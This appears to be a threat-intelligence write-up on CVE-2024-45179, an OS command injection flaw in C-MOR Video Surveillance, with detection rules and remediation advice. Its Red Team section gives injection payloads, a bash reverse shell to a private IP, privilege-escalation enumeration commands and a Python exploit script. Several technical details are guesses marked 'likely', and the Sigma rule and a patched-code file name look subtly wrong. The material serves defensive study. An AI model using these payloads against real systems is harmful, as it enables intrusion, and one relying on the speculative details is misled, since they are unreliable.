CVE-2024-45179

Executive Summary

CVE-2024-45179 is a critical OS command injection vulnerability discovered in za-internet C-MOR Video Surveillance software, specifically versions 5.2401 and 6.00PL01. The vulnerability stems from insufficient input validation in multiple web interface scripts, allowing authenticated attackers to inject arbitrary OS commands via shell metacharacters in HTTP POST parameters. Two distinct attack vectors exist: a low-privileged authenticated user can exploit the generatesslreq.pml script (e.g., via the city parameter) to execute commands as the www-data Linux user, while an administrative user can exploit settimezone.pml or setdatetime.pml (e.g., via the year parameter) for command execution. Furthermore, a privilege-escalation vulnerability can be chained to achieve root-level command execution. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. This vulnerability poses a significant risk to organizations using C-MOR Video Surveillance, as it can lead to full system compromise, data exfiltration, and lateral movement within the network.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software vulnerability in za-internet C-MOR Video Surveillance, which is a standalone application. Therefore, supply chain package security considerations are not directly applicable. However, organizations should verify the integrity of their C-MOR installations and ensure they are sourced from official channels.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network via HTTP POST requests.
• Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to send crafted HTTP POST data.
• Privileges Required (PR): Low (L) - For the generatesslreq.pml vector, only low-privileged authentication is needed. For the administrative vector, privileges are higher, but the overall impact is severe.
• User Interaction (UI): None (N) - No user interaction is required beyond the attacker's own actions.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the C-MOR application.
• Confidentiality (C): High (H) - An attacker can read sensitive files, including configuration and video data.
• Integrity (I): High (H) - An attacker can modify system files, create backdoors, or alter surveillance data.
• Availability (A): High (H) - An attacker can disrupt the surveillance system, delete logs, or cause denial of service.

Threat Level: Critical. The combination of low privileges required for one vector and the potential for root-level escalation makes this a severe threat. Organizations should prioritize patching or implementing mitigations immediately.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw. The C-MOR web interface uses scripts that construct shell commands from user-supplied input without proper sanitization or validation. Specifically:

1. generatesslreq.pml (Low-Privilege Vector): This script is used to generate X.509 certificate signing requests (CSRs). It accepts parameters like city (and likely others such as state, country, etc.) and passes them directly to a shell command (e.g., openssl req -new ... -subj "/C=.../ST=.../L=.../O=.../CN=..."). By injecting shell metacharacters (e.g., ;, |, $(...), `...`) into the city parameter, an authenticated low-privileged user can execute arbitrary commands. The command runs as the www-data user, which is the web server's user.

2. settimezone.pml and setdatetime.pml (Admin Vector): These scripts are used to configure the system time zone and date/time. They accept parameters like year (and likely month, day, hour, minute, timezone). Similar to the above, these parameters are injected into shell commands (e.g., timedatectl set-timezone <timezone> or date -s "<year>-<month>-<day> <hour>:<minute>"). An administrative user can inject commands via these parameters, also running as www-data.

3. Privilege Escalation: The description mentions a separate privilege-escalation vulnerability that can be chained. This likely involves exploiting a misconfiguration or another flaw (e.g., a SUID binary, a cron job, or a sudo rule) to elevate from www-data to root. Common techniques include exploiting writable scripts executed by root, abusing sudo permissions, or leveraging kernel vulnerabilities.

The core issue is the lack of input validation. The application does not escape or sanitize user input before incorporating it into shell commands. This is a classic CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and what a patched version should look like.

Vulnerable Code (Conceptual - generatesslreq.pml):

# Vulnerable Perl/CGI script
my $city = param('city');
my $command = "openssl req -new -key /etc/ssl/private/key.pem -out /tmp/req.csr -subj \"/C=US/ST=State/L=$city/O=Org/CN=host\"";
system($command);

Patched Code (Conceptual):

# Patched Perl/CGI script
use strict;
use warnings;
use CGI qw(:standard);
use IPC::System::Simple qw(capture);

my $city = param('city');
# Validate input: only allow alphanumeric, spaces, and hyphens
if ($city !~ /^[a-zA-Z0-9\s\-]+$/) {
    die "Invalid city parameter";
}
# Use a safer method to execute commands
my @command = ("openssl", "req", "-new", "-key", "/etc/ssl/private/key.pem", "-out", "/tmp/req.csx", "-subj", "/C=US/ST=State/L=$city/O=Org/CN=host");
system(@command);

The patched version uses input validation (whitelist regex) and passes arguments as a list to system(), which avoids shell interpretation. Alternatively, using a dedicated library for certificate generation would be even better.

Exploitation & Lab Setup

Red Team

Objective: Achieve remote code execution as www-data and escalate to root.

Prerequisites:

• Access to the C-MOR web interface (e.g., http://<target-ip>:8080).
• Valid low-privileged credentials (e.g., user:password).

Exploitation Steps:

1. Authenticate: Log in to the C-MOR web interface with low-privileged credentials.

2. Identify Vulnerable Endpoint: Navigate to the certificate generation page (likely under "Administration" -> "SSL/TLS" -> "Generate CSR"). Intercept the request with a proxy like Burp Suite.

3. Craft Payload: Inject a command into the city parameter. For example, to execute id and write output to a web-accessible file:

   city=test;id>/var/www/html/output.txt
   

   Or for a reverse shell:

   city=test;bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
   

4. Send Request: Send the crafted POST request. The command will execute as www-data.

5. Privilege Escalation: Once you have a shell as www-data, enumerate the system for privilege escalation vectors. Common techniques:

   • Check for SUID binaries: find / -perm -4000 -type f 2>/dev/null
   • Check sudo permissions: sudo -l
   • Look for writable scripts executed by root (e.g., cron jobs).
   • Exploit known kernel vulnerabilities (e.g., CVE-2021-4034 for pkexec).

Example Exploit Script (Python):

import requests

target = "http://<target-ip>:8080"
username = "user"
password = "password"

# Authenticate
session = requests.Session()
login_data = {"username": username, "password": password}
session.post(f"{target}/login.pml", data=login_data)

# Exploit generatesslreq.pml
payload = "test;id>/var/www/html/output.txt"
data = {"city": payload, "state": "CA", "country": "US"}
response = session.post(f"{target}/generatesslreq.pml", data=data)

# Verify
output = session.get(f"{target}/output.txt")
print(output.text)

Blue Team

Objective: Detect and prevent exploitation of CVE-2024-45179.

Detection Steps:

1. Monitor Web Logs: Look for unusual POST requests to generatesslreq.pml, settimezone.pml, or setdatetime.pml containing shell metacharacters (;, |, $, `).

2. Analyze Process Execution: Monitor for unexpected execution of commands like openssl, timedatectl, date, or any command spawned by the web server user (www-data).

3. Check for Unauthorized File Creation: Look for new files in /var/www/html/ or /tmp/ that are not expected.

4. Network Monitoring: Detect outbound connections from the C-MOR server to unknown IPs (potential reverse shells).

Prevention Steps:

1. Input Validation: Implement strict input validation on all parameters passed to shell commands. Use whitelists instead of blacklists.

2. Least Privilege: Ensure the web server user (www-data) has minimal permissions. Do not allow it to execute commands that can modify system time or generate certificates without proper authorization.

3. Web Application Firewall (WAF): Deploy a WAF with rules to block OS command injection attempts. For example, ModSecurity with the OWASP Core Rule Set.

4. Network Segmentation: Isolate the C-MOR server on a separate VLAN with strict firewall rules. Limit outbound traffic to only necessary destinations.

5. Regular Updates: Monitor for patches from za-internet and apply them immediately.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /generatesslreq.pml, /settimezone.pml, or /setdatetime.pml containing shell metacharacters in parameters.
• Outbound connections from the C-MOR server to unusual IPs on ports like 4444, 1337, etc. (reverse shells).
• DNS queries to suspicious domains (e.g., for command and control).

Host IOCs:

• Unexpected files in /var/www/html/ (e.g., output.txt, shell.php).
• Processes running as www-data that are not typical (e.g., bash, nc, python).
• Modified system files (e.g., /etc/passwd, /etc/shadow).
• New cron jobs or systemd services.
• Unusual entries in /var/log/syslog or /var/log/apache2/access.log.

File IOCs:

• Files containing shell commands in /tmp/ or /var/www/html/.
• Modified certificate files in /etc/ssl/.

Detection Engineering

YARA Rule

rule CVE_2024_45179_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting C-MOR Video Surveillance"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45179"
    strings:
        $s1 = "generatesslreq.pml" nocase
        $s2 = "settimezone.pml" nocase
        $s3 = "setdatetime.pml" nocase
        $s4 = /[;&|`$()]/
    condition:
        (any of ($s1, $s2, $s3)) and any of ($s4)
}

Sigma Rule

title: C-MOR Video Surveillance OS Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to C-MOR vulnerable scripts containing shell metacharacters
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45179
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains:
            - 'generatesslreq.pml'
            - 'settimezone.pml'
            - 'setdatetime.pml'
        cs-uri-query|re:
            - '.*[;&|`$()].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45179 C-MOR Video Surveillance OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"generatesslreq.pml";
    http_uri;
    pcre:"/[;&|`$()]/";
    sid:1000001;
    rev:1;
    reference:cve,2024-45179;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, disconnect the C-MOR server from the network or place it behind a strict firewall that only allows necessary traffic.

2. Disable Vulnerable Features: If the certificate generation and time zone setting features are not essential, disable them in the web interface or block access to the corresponding scripts via web server configuration (e.g., Apache Location directives).

3. Apply Input Validation: As a temporary workaround, implement input validation at the web server level using ModSecurity or a reverse proxy. For example, block POST requests to the vulnerable scripts that contain shell metacharacters.

4. Change Default Credentials: Ensure all default passwords are changed and enforce strong password policies.

5. Monitor for Suspicious Activity: Actively monitor logs and network traffic for signs of exploitation.

Long-Term Actions:

1. Apply Patch: Monitor the za-internet website or contact their support for an official patch. Apply it as soon as it becomes available.

2. Upgrade Software: If a patched version is released, upgrade to it immediately.

3. Conduct Security Audit: Perform a thorough security audit of the C-MOR installation, including code review, penetration testing, and configuration review.

4. Implement Defense in Depth: Deploy a WAF, intrusion detection system (IDS), and endpoint detection and response (EDR) solution.

5. User Training: Train administrators on secure configuration practices and the risks of OS command injection.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert